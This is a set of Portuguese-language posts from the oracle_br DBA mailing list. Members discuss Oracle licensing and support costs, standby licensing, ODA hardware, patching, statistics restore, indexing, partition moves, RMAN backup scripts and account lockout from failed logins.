Re: [oracle_br] Re: Perda de contrato com a Oracle
Duas informações adicionais a essa thread: 1) A questão de não pagar suporte para ambientes não produtivos ou pagar licenciamento de um produto mais barato para ter acesso aos downloads não é bem assim. Em teoria (em contrato) caso seu banco de dados não esteja em contrato de suporte você não pode aplicar nenhum patch/patchset nem atualização de versão que tenha sido lançado depois do cancelamento do seu contrato de suporte. Isso implica que, digamos que você pague suporte para PRD mas não pague para DSV/HML, você não poderá aplicar em DSV/HML os patches que foram aplicados em PRD. Isso faz sentido? Além disso, pagando suporte a um produto mais barato não te dá o direito de instalar atualizações de produtos mais caros. Talvez você possa, mas não deve! 2) Você não informou que versão do seu banco de dados você usa (SE, SE1 ou EE), mas recentemente a Oracle publicou informação que estaria descontinuando o SE1 e SE, transformando em uma unica versão SE2, e que licenças de SE1 e SE seriam migradas para SE2 sem custos. Falando de valores (não sei quão atualizados) estaríamos falando de uma licença de 20k/proc do SE1 ser migrada para o SE2 que custa 80k/proc. E o que isso tem a ver? Via de regra, se você deixa de pagar o suporte ao seu produto, quando quiser atualizar ou aplicar patch, etc, você precisará comprar licença nova (de 80k), caso esteja com o suporte ativo e válido não precisará comprar nada, simplesmente atualizar. 2016-02-03 16:33 GMT-02:00 Rafael Mendonca raffaell.t...@yahoo.com [oracle_br]: > > > Opa Chiappa, ótima explicação e obrigado pela atenção de sempre. > > > Em Quarta-feira, 3 de Fevereiro de 2016 15:07, "jlchia...@yahoo.com.br > [oracle_br]" escreveu: > > > > Redução de Custos Operacionais Oracle - ref. > Blz ? Certamente vc já sabe de tudo que vou dizer, mas apenas para > informação de quem for ler esta thread no futuro, vou detalhar algumas > opções relacionadas > A primeira coisa a dizer é que há basicamente 3 tipos de pagamentos que > vc pode ter que fazer para a Oracle no que se refere a databases : > Licenciamento, Suporte Técnico e Add-ons/features licenciadas à parte, vou > dar algumas dicas do que se pode fazer em cada caso : > > ==> Licença : isso Não PODE e NÃO DEVE nunca ser confundido com o > Suporte... A taxa de Licença é um valor que vc paga para ter Direito de > usar o RDBMS com seus dados reais e/ou seu software REAL (ie, que vai te > dar Lucro/ser vendido/ser usado no seu negócio,Produzindo resultado > usável), ENQUANTO que o Suporte é algo Opcional, que vc paga se quiser > obter ajuda a usar melhor o software via recomendações/best practices, > resolver bugs/problemas de usabilidade... > A observação é que se pode OU Licenciar o RDBMS por servidor (ie, se > faz um cálculo de capacidade bruta , envolvendo entre outras coisas número > e tipo de processadores), paga-se um valor tabelado por isso e se pode ter > quantos databases quiser, gerenciados por quantas instalações de RDBMS > quiser, sendo acessador por qquer número de usuários processadores ), OU se > pode licenciar cada database por número de usuários nomeados, ie, cada > usuário que vai conectar pode ser identificado e vc paga um valor fixo por > cada usuário >Então é simples , a primeira coisa que se faz ao tentar reduzir custo > de licenças é identificar eventuais servidores/database que não são > produção (basicamente POCs, usando software e/ou dados não-reais), > identificar eventuais casos de databases onde a lista de usuários seja > conhecida e fixa (ou possa ser fixada) e comparar custos de licenciamento > por usuário x licenciamento por servidor... > > ==> Suporte Técnico : como a gente disse antes, isso é Muitíssimo > Recomendado mas principalmente em ambientes produtivos, onde um bugfix e/ou > uma análise do Suporte Oracle podem ser um diferencial vital para a > Estabilidade/Continuidade do negócio da empresa, e/ou para racionalização > de recursos... OBVIAMENTE, a primeira Ação para reduzir custos de Suporte é > CATEGORIZAR/LEVANTAR direitinho a utilização dos databases e *** ELIMINAR > ***, em dó nem pena, o Contrato de Suporte para os ambientes não-críticos > que não Justifiquem o investimento Notar que não é simplesmente dizer > se é produção ou não, tranquilamente PODEM existir databases não-produção > que sejam críticos e exijam Suporte (sei lá, um database dedicado a > reports, ou um de Homologação, digamos), E/OU podem existir databases > produção que estejam atendendo sistemas / ambientes menos Críticos que > Talvez possam rodar sem Suporte. > > O SEGUNDO PONTO de diminuição de custo de Suporte é Avaliar qual/quais > databases podem rodar sem um Contrato de Suporte específico para eles : o > que acontece é que, se vc tiver um Contrato de Suporte para um outro > produto Oracle mais baratinho vc, OBVIAMENTE, não vai poder abrir um > Chamado de ajuda/verificação para o RDBMS grandão/fullzão que vc
Re: [oracle_br] Re: Oda
Outra desvantagem para alguns é que o ODA suporta somente database Enterprise Edition 2015-05-29 10:07 GMT-03:00 jlchia...@yahoo.com.br [oracle_br] oracle_br@yahoogrupos.com.br: Opa, então : na minha penúltima Consultoria, tínhamos alguns Clientes que optaram pelo ODA, um deles inclusive para servir de standby (via DATAGUARD) para um ambiente Produção que estava em cima do Exadata... Tecnicamente ele é um servidor bastante bom, com hardware de boa qualidade, um conjunto bastante bem montado mas é comum, não traz (ao Contrário do Exadata!!) nada que não seja possível vc encontrar comumente no mercado As vantagens do ODA basicamente são duas : a. o conjunto já vêm montado E configurado pela Oracle, então vc não precisa envolver um técnico de redes, depois um outro de Storage, depois um outro disso e daquilo, pra só depois o sysadmin poder fazer o setupo de SO e o DBA poder efetivamente instalar o banco... Logicamente, isso ELIMINA também chances de incompatibilidades entre, digamos, versão de SO/kernel e drivers;middleware necessário para o Storage, ou coisas assim - vc pode ter 100% de certeza que tudo conversa entre si de boa, E em tese todas as especificações atendem bem à necessidade do banco de dados Oracle (ie, a blocagem/alocação do Storage não está ridiculamente pequena ou ineficientemente enorme, as specs de REDE atende ás solicitações/necessidades do Oracle RAC, assim por diante) b. o conjunto já vêm com Assistentes de instalação da Oracle, e é a própria Oracle quem dá o Suporte para tudo, INCLUSIVE (óbvio) o RDBMS - é um pescoço só pra se apertar... Só quem já passou por empurra-empurra entre Oracle x HP, Oracle x IBM e quetais é que sabe como é isso c. ele já vem preparado para Virtualização (ie, já possui o intrumental/softwares necessários) E é aceito como hard-partitioning para fins de Licenciamento pela Oracle - então ao contrário de outras soluções de VM , no ODA com Oracle VM pode pode Tranquilamente licenciar apenas os processadores que quiser... A desvantagem é, óbvio, o CUSTO : é CLARO que as horas/homem que a Oracle gastou planejando o conjunto VÂO ser cobradas de vc, e é CLARO também que é um hardware bastante bom mas NUNCA a preço de custo, a preço de banana - tem SIM uma margem não desprezível em cima aí... Com TOTAL CERTEZA, se na sua Empresa vc tem o tempo e o expertise técnico necessário, vc CONSEGUE SIM montar um conjunto tão bom quanto por uns 30% menos, via de regra... []s Chiappa
Re: [oracle_br] Re: Dúvidas - Licenciamento de servidor Standby/Contingência
Chiappa, Permita-me discordar de você em um ponto. Segundo o doumento Software Investiment Guide ( http://www.oracle.com/us/corporate/pricing/sig-070616.pdf), NUP só pode ser usado em situações em que usuários humanos ou não humanos podem ser identificados e contados. No caso de não humanos, se for uma máquina operada por humanos, deverá ser considerada a quantidade de humanos que operam a máquina. Neste caso a produção seria uma máquina operada por muitos humanos, e todos eles deveriam ser licenciados no standby, inviabilizando a utilização do NUP. Nos clientes que atendo, o standby é licenciado, geralmente aproveita-se esta licença (esta máquina) para utilizar bancos de teste e homologação, mas não é regra. Acho que se houvesse a possibilidade de usar NUP em standby, todo mundo faria desta forma, não? Agora complementando, no caso do Active Dataguard, paga-se a licença do EE+a licença do Active DG. Abraço Ivan 2014-03-14 13:42 GMT-03:00 jlchia...@yahoo.com.br: Yep, eu deveria ter deixado mais claro que, ALÉM do database stand-by nunca estar disponível, os documentos Exigem também, para que se possa usar o direito de failover sem licença, que o servidor de failover esteja no mesmo local e use o mesmo storage - como meus últimos clientes foram datacenters aonde isso acontecia, não explicitei No seu caso, sendo HA (o que é explicitado pela localização remota do servidor stand-by), afaik vc não se encaixa nas condições, então vc terá sim que licenciar esse standby - e no meu caso, nas Empresas aonde usei HA não participei do processo de licenciamento (já havia licença universal) então não tenho um caso real pra te repassar de exemplo... Agora , o que posso dizer é que vc deve notar, porém, é que embora todos exijam que o standby seja licenciado, em momento nenhum é exigido que seja no mesmo modelo de licença do principal em todos os casos, okdoc ? Assim, mesmo que o servidor primário esteja usando uma licença mais cara, por processador digamos, nada impede a meu ver que vc licencie por named user plus, digamos, o servidor standby, custando bem menos, ok ?? O documento http://www.oracle.com/us/corporate/pricing/data-recovery-licensing-070587.pdfinclusive nos diz : Additionally, when licensing by Named User Plus, the user minimums are waived on one failover node only. Assim para mim tá CLARO que existe a possibilidade de vc licenciar um failover via NUP, senão não estaria documentado, certo ?? E na minha Análise, apenas configurações de failover EM CLUSTER é que demandam usar a mesma exata métrica de licença no primary e no standby, cfrme (no mesmo documento acima, ênfase com *s minha) : In a failover environment,the same license metric must be used forthe production and failover nodes *** when licensing a given clustered configuration *** E quando tiver a falha/crash no banco primário e o failover tiver que ser acionado ? O que imho vai te cobrir aí é o fato pouco conhecido que a licença de uso do database produção, que está em uso, Absolutamente ** Não é ** amarrada a um servidor, sim ?? Então se eu estou rodando no servidor x aqui em são paulo meu database produção e amanhã eu cismo de desligar ele aqui e passar a rodar ele num servidor y lá no Rio, digamos, a Oracle não pode dar um pio : claramente o Contrato de Licença não indica em QUAL servidor o software precisa executar Assim, eu entendo que simplesmente no caso de crash funciona como se vc tivesse transferido o database de servidor, operação que é Absolutamente permitida pela licença O que é exigido é que se eu num dado momento a Empresa tem x servidores com databases produção sendo usados, vc tem que apresentar x licenças, Evidentemente respeitando-se capacidade do hardware se licenciamento por processor ou qtdade de usuários se licenciamento por nup ... E eu estou falando aqui da licença básica, de uso - a exceção ao que eu disse, claro, são as Options e licenças opcionais : se vc usa qualquer uma delas no banco primary e quer (ou é obrigado a) continuar usando no banco standby, EVIDENTEMENTE elas tem que ser lcienciadas no standby , cfrme : If any Option or Management Pack (except RAC) is licensed on the primary server, then it must also be licensed on the Standby server. If RAC is on the primary server but not on the standby server, then licensing it is not required. Blz ? Evidentemente eu não sou Advogado nem especialista em Licenciamento, mas as coisas que te disse acima são SIM especificadas na documentação cujo link apresentei, então vc (ou o Jurídico da tua Empresa, devidamente municiado por vc com os docs e textos como este) Não Vai aceitar a alegação que certamente o teu representante Oracle vai apresentar, que a licença do standy tem que ser absolutamente igual á do primary, sim ?? Esse pessoal quer vender, tem metas a cumprir E a comissão é em cima do valor vendido, então é Claro que vão te apresentar o que custa mais, sempre... É
Re: [oracle_br] Aplicar PSU ou não?
Bem, é uma questão um pouco complexa, não há verdade absoluta. Já fui questionado por cliente do porquê de não ter aplicado um patch existente em um ambiente novo que falhou por bug já conhecido. Por outro lado, patchsets, PSUs, CPUs, etc corrigem diversos bugs mas podem trazer bugs novos. Se eu tenho aplicados os últimos patches existentes, quem vai me salvar quando eu encontrar um bug novo introduzido pelo ultimo PSU lançado? Aí é esperar a boa vontade da Oracle em corrigi-los. 2014-03-10 21:59 GMT-03:00 Marcelo Santino e...@marcelosantino.com.br: Pessoal, tudo bem? Eu considero importante sempre manter o Oracle com os patchs mais recentes, mas e quanto aos PSUs, devo seguir a mesma regra ou apenas aplicar quando identificar um problema real que afeta a base em questão e que ele possa corrigir? Abs, *Marcelo Santino* DBA SQL Server / Oracle www.bau-de-dev.com http://www-bau-de-dev.com +55 21 98206-9930 http://www.facebook.com/CelaoRJ http://br.linkedin.com/in/msantino http://twitter.com/#!/msantino
Re: [oracle_br] Desfazer coleta de estatísticas
Wanderson, Você não informa versão, vê se resolve: DBMS_STATS.RESTORE_DATABASE_STATS( as_of_timestampTIMESTAMP WITH TIME ZONE, force BOOLEAN DEFAULT FALSE, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type (GET_PARAM('NO_INVALIDATE'))); http://docs.oracle.com/cd/E11882_01/appdev.112/e40758/d_stats.htm 2014-02-11 14:04 GMT-02:00 Vitor Junior vitorj...@gmail.com: Se não fez backup das estatísticas antes, não. A única possibilidade é deletar. Att,/Regards, Vitor Jr. Infraestrutura / Infrastructure Team Oracle 11g DBA Certified Professional - OCP Oracle Certified Expert, Oracle Real Application Clusters 11g and Grid Infrastructure Administrator - OCE Oracle Database 11g Performance Tuning Certified Expert - OCE Oracle Exadata 11g Certified Implementation Specialist Oracle Certified Associate, MySQL 5 mail, gtalk e msn: vitorj...@gmail.com http://certificacaobd.com.br/ skype: vjunior1981 https://mybizcard.co/vitor.jr.385628 Em 11 de fevereiro de 2014 13:49, Wanderson Barrence wbarre...@gmail.comescreveu: Olá Pessoal, Existe alguma maneira de desfazer a coleta de estatísticas, retornando para a data do último last analyze antes da última coleta? A coleta foi feita utilizando o script abaixo: BEGIN dbms_stats.gather_database_stats(options= 'GATHER AUTO'); END; Att, Wanderson
Re: [oracle_br] Desfazer coleta de estatísticas
Ok, e DBMS_STATS.RESTORE_DATABASE_STATS resolveu seu problema? 2014-02-11 14:12 GMT-02:00 Wanderson Barrence wbarre...@gmail.com: Fala Ivan!!! O banco de dados é Oracle RAC 10g (10.2.0.3). Att, Wanderson Em 11 de fevereiro de 2014 14:08, Ivan Ricardo Schuster ivanr...@gmail.com escreveu: Wanderson, Você não informa versão, vê se resolve: DBMS_STATS.RESTORE_DATABASE_STATS( as_of_timestampTIMESTAMP WITH TIME ZONE, force BOOLEAN DEFAULT FALSE, no_invalidate BOOLEAN DEFAULT to_no_invalidate_type (GET_PARAM('NO_INVALIDATE'))); http://docs.oracle.com/cd/E11882_01/appdev.112/e40758/d_stats.htm 2014-02-11 14:04 GMT-02:00 Vitor Junior vitorj...@gmail.com: Se não fez backup das estatísticas antes, não. A única possibilidade é deletar. Att,/Regards, Vitor Jr. Infraestrutura / Infrastructure Team Oracle 11g DBA Certified Professional - OCP Oracle Certified Expert, Oracle Real Application Clusters 11g and Grid Infrastructure Administrator - OCE Oracle Database 11g Performance Tuning Certified Expert - OCE Oracle Exadata 11g Certified Implementation Specialist Oracle Certified Associate, MySQL 5 mail, gtalk e msn: vitorj...@gmail.com http://certificacaobd.com.br/ skype: vjunior1981 https://mybizcard.co/vitor.jr.385628 Em 11 de fevereiro de 2014 13:49, Wanderson Barrence wbarre...@gmail.com escreveu: Olá Pessoal, Existe alguma maneira de desfazer a coleta de estatísticas, retornando para a data do último last analyze antes da última coleta? A coleta foi feita utilizando o script abaixo: BEGIN dbms_stats.gather_database_stats(options= 'GATHER AUTO'); END; Att, Wanderson
Re: [oracle_br] Índices no Oracle
Yuri, Por acaso CODCXA não é do tipo number? Se for, retire as aspas simples ao realizar a consulta: SELECT * FROM TMOV WHERE CODCXA = 12345 Caso não resolva, mande pra gente o ddl de criação da tabela e do índice para facilitar a análise. Abraço 2014-02-03 Fabio Prado fbifa...@gmail.com: Yuri, se o índice foi utilizado na 1a. situação ele tbém deve estar sendo utilizado na 2a. situação, mas na primeira ele acessa somente o índice, na 2a. o otimizador acesso o índice, recupera o rowid da linha e vai para a tabela recuperar os dados das demais colunas. Para verificarmos isso com certeza, passe para nós o plano de execução. []s Fábio Prado www.fabioprado.net Em 3 de fevereiro de 2014 13:22, Yuri Menon yuri.me...@gmail.comescreveu: Boa tarde pessoal! Podem me auxiliar por favor? A seguinte consulta: SELECT * FROM TMOV WHERE CODCXA = '12345' Retorna 3500 registros e está muito lenta. Em conta disso, criei um índice que aponta para TMOV.CODCXA No entanto, esse índice só é utilizado quando dou APENAS um: SELECT CODCXA FROM TMOV WHERE CODCXA = '12345' não é utilizado para: SELECT * FROM TMOV WHERE CODCXA = '12345' A minha dúvida: É normal isso no Oracle? Se eu quiser fazer SELECT * terei de criar um índice que enxergue todos os campos? Obs: tentei passar com HINT pra tentar forçar, mas não foi. Desde já agradeço! -- Fábio Prado www.fabioprado.net Compartilhando conhecimentos e treinando profissionais em Bancos de Dados Oracle
Re: [oracle_br] Permissões para time de DBA's
Welvis, Se sua empresa tem analistas com acesso à conta oracle no Linux do servidor de produção, acho que você tem bastante coisa pra se preocupar antes de bloquear acesso aos DBAs, não? Abraço 2013/7/5 Welvis Moretto welvis_doug...@yahoo.com.br: k, Acho que não! Mesmo sendo um terceiro, eu me preocupo com as bases de dados do meu cliente. Atualmente são uns 8 banco de dados (Oracle) em produção, temos alguma coisa em MS-Sql, umas 7 instancias em Sql. Os banco do SAP estão vindo para dentro da empresa são mais 13 instancia Oracle em produção ECC, BW, BO, HR, PI, etc A empresa já contratou uma pessoa, e creio que vai contratar mais pessoas. E claro, pessoas com conhecimento de SAP Basis para dar suporte. Penso que o Time de DBA's além de dar suporte ao que existe hj, podem ajudar na customização de módulos Z do SAP que aqui também tem de monte. Isso no que diz respeito a Oracle. Neste contexto, gostaria de ver com empresas maiores atuam neste sentido de política de acesso. Ou um DBA Jr tem o mesmo acesso que um Sr? rs acho que não seria por ai. Atualmente eu tenho programador PL/SQL que tem acesso ao usuário oracle dentro do linux, pipino não acha? Alguém que nem o funcionamento de um RDBMS. Obrigado pelo link. Abraço! De: angelo angelolis...@gmail.com Para: oracle_br@yahoogrupos.com.br Enviadas: Sexta-feira, 5 de Julho de 2013 13:16 Assunto: Re: [oracle_br] Permissões para time de DBA's E vc entra aonde nessa história Welvis ? É o dba mestre dessa empresa ? rsss brincadeira a parte, é interessante esse questionamento... Vc ta imaginando um cenário onde nem todo mundo que administra o ambiente pode fazer tudo... faz quase tudo, de acordo com o foco ? La no trabalho nunca tivemos um dba formal... e a falta de um dedicado a essas questoes agora tem surtido os efeitos, do tipo, quando ocorre um problema, cada um vem com uma solucao diferente... mas ninguém é especialista esse mes chegou uma revista lá, a sql magazine, que falava justamente disto, mas em um ambiente onde se segue as recomendacoes do ITIL.. nesses ambientes por exemplo o acesso ao banco para o usuario como dba só é liberado na hora que ele vai atender a um chamado, no caso se ele da suporte a aplicacao http://www.devmedia.com.br/itil-e-o-suporte-a-banco-de-dados-revista-sql-magazine-112/28019 e vamos debatendo, quero ler o que o Chiappa e os outros vão dizer a respeito... 2013/7/5 Welvis Moretto welvis_doug...@yahoo.com.br ** Olá pessoal, tudo bem? Aqui na empresa por necessidade o time de dba's está aumentando e atualmente como o controle é bem restrito eu não tinha pensado em políticas de acesso para DBA's. Alguém tem algum Script/Conceito para eu trabalhar esta idia dos papéis/privilégios? Obrigado pela atenção, att, [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Particionamento
Christian, O que você quer dizer com eliminar para outra tablespace? Se for mover para outra tablespace, sim, você pode voltar ela depois para a mesma tablespace desde que tenha espaço. Dependendo da tua estratégia, você pode mover para uma tablespace que use discos mais lentos (mais baratos) ou mover para uma tablespace e transformá-la em read only para economizar em tempo (e espaço) de backup. É possível ainda colocar a tablespace offline, realizar backup dos datafiles dela e remover do disco. Caso queira utilizar a partição, teria que colocar os datafiles da tablespace em disco novamente e alterar o status dela para online. Sugiro que você teste bem a alternativa que escolher, principalmente objetos relacionados e indices inválidos, além do impacto para o usuário que tentar acessar o dado da partição que não estará em disco (receberá um erro). 2013/5/7 christiancedrid christianced...@gmail.com: boa tarde pessoal, tenho uma dúvida sobre particionamento. Tenho uma tabela particionada por faixa de valores. Data para ser mais exato. Tenho 4 particionamentos - O primeiro particionamento é de 2010 (todas as datas) - O segundo particionamento é de 2011 (todas as datas) - O terceiro particionamento é de 2012 (todas as datas) - o quarto particionamento é de 2013 (todas as datas) Estamos fazendo um trabalho de expurgo e iremos eliminar o primeiro particionamento para uma outra tablespace de históricos. Pergunta: Se um dia eu precisar voltar esse primeiro particionamento por algum motivo para a mesma tablespace original, posso movimentar-la com todos os dados? abs Christian -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Performance RMAN
TYPE disk ; ALLOCATE CHANNEL ch01 TYPE disk ; ALLOCATE CHANNEL ch02 TYPE disk ; ALLOCATE CHANNEL ch03 TYPE disk ; backup incremental level 0 tag = bkpL0_proddb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/backup/bkp_%d_%T_%s_%p_%U' database; sql 'alter system archive log current'; RELEASE CHANNEL ch00; RELEASE CHANNEL ch01; RELEASE CHANNEL ch02; RELEASE CHANNEL ch03; ALLOCATE CHANNEL ch00 TYPE disk; backup tag = contf_prodb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/backup/contf_%d_%T_%s_%p_%U' current controlfile; RELEASE CHANNEL ch00; ALLOCATE CHANNEL ch00 TYPE disk; ALLOCATE CHANNEL ch01 TYPE disk; backup tag = arch_prodb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/archive/arc_%d_%T_%s_%p_%U' check logical archivelog all delete input; RELEASE CHANNEL ch00; RELEASE CHANNEL ch01; } script backup incremental: run { ALLOCATE CHANNEL ch00 TYPE disk ; ALLOCATE CHANNEL ch01 TYPE disk ; backup incremental level 1 tag = bkpL1_proddb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/backup/bkp_%d_%T_%s_%p_%U' database; sql 'alter system archive log current'; RELEASE CHANNEL ch00; RELEASE CHANNEL ch01; ALLOCATE CHANNEL ch00 TYPE disk; backup tag = contf_prodb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/backup/contf_%d_%T_%s_%p_%U' current controlfile; RELEASE CHANNEL ch00; ALLOCATE CHANNEL ch00 TYPE disk; ALLOCATE CHANNEL ch01 TYPE disk; backup tag = arch_prodb format '/u01/app/acfsmounts/fradg_orabkplv/bkp/proddb/rman/archive/arc_%d_%T_%s_%p_%U' check logical archivelog all delete input; RELEASE CHANNEL ch00; RELEASE CHANNEL ch01; vcs podem me ajudar?? perguntem o que quiserem, mandei select's na view pra eu executar. -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Forms
? A info que te dei está Totalmente Contida no manual Oracle® Database Platform Guide da sua versão de banco, normalmente há um capítulo nele Administering a Database on Windows ou equivalente... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Emerson Martins escreveu Olá senhores. Recentemente fiz um teste de backup/recover em um ambiente windows para testar os backups desse servidor. 1 - Criei o serviço no Windows 2 - Criei a arquitetura de diretorios necessaria 3 - Restaurei o spfile, controlfile,etc 4 - Restaurei os backups 5 - Instancia no ar. O problema. Quando reinicio o servidor é necessário entrar via prompt e dar o startup no banco.Ate aqui tudo normal se fosse linux, porém no windows não sei se tem como configurar isso, talvez na inicialização do windows Ambiente Windows Server 2008 Enterprise Oracle Standard 11gR2 Atenciosamente, Emerson Martins DBA JR [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] help conta bloqueada
Paulo, Exatamente, o problema é FAILED LOGIN ATTEMPTS, que quando excede o limite, bloqueia a conta com LOCKED (TIMED): SQL conn / as sysdba Connected. SQL create profile prof_teste limit FAILED_LOGIN_ATTEMPTS 4; Profile created. SQL create user ivan identified by ivan profile prof_teste; User created. SQL grant create session to ivan; Grant succeeded. SQL conn ivan/ivan Connected. SQL conn ivan/asdf ERROR: ORA-01017: invalid username/password; logon denied Warning: You are no longer connected to ORACLE. SQL conn ivan/asdf ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/asdf ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/asdf ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/asdf ERROR: ORA-28000: the account is locked SQL conn / as sysdba Connected. SQL select ACCOUNT_STATUS from dba_users where username='IVAN'; ACCOUNT_STATUS LOCKED(TIMED) 2012/9/11 Paulo Couto paulopcto2...@yahoo.com.br: Amigos, algumas vezes nestes últimos meses alguns usuários reclamam que não acessam uma aplicação e quando vou verificar a conta no banco do dito sistema está bloqueada com o status de LOCKED (TIMED). Todas as contas estão usando o profile default e apenas o parametro FAILED LOGIN ATTEMPTS está setado para 10, o restante está como UNLIMITED. Gostaria de saber como descobrir a causa destes bloqueios e o que causa este tipo de bloqueio. Estamos utilizando o Oracle 10g patch 10.2.0.4 em windows server 2003. Att, Paulo. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: help conta bloqueada
OPEN DEFAULT USER_TESTELOCKED 11/09/2012 13:48:54 DEFAULT SCOTT LOCKED DEFAULT OUTLN EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT WKSYS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 WKSYS_PROF OLAPSYS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT ORDPLUGINSEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT WKPROXY EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT XDB EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT ANONYMOUS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT CTXSYSEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT WK_TEST EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT WMSYS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT DMSYS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT EXFSYSEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT ORDSYSEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT MDSYS EXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT DIP EXPIRED LOCKED 01/03/2012 14:12:48 DEFAULT MDDATAEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT TSMSYSEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT ORACLE_OCMEXPIRED LOCKED 01/03/2012 14:45:14 01/03/2012 14:45:14 DEFAULT 34 linhas selecionadas. SYSTEM@O10GR2::SQL SE o database em questão tá apresentando status diferentes, PLZ veja os seus profiles E as colunas da DBA_USER , pois algo Não Está batendo aí []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Paulo Couto paulopcto2002@... escreveu Amigos, algumas vezes nestes últimos meses alguns usuários reclamam que não acessam uma aplicação e quando vou verificar a conta no banco do dito sistema está bloqueada com o status de LOCKED (TIMED). Todas as contas estão usando o profile default e apenas o parametro FAILED LOGIN ATTEMPTS está setado para 10, o restante está como UNLIMITED. Gostaria de saber como descobrir a causa destes bloqueios e o que causa este tipo de bloqueio. Estamos utilizando o Oracle 10g patch 10.2.0.4 em windows 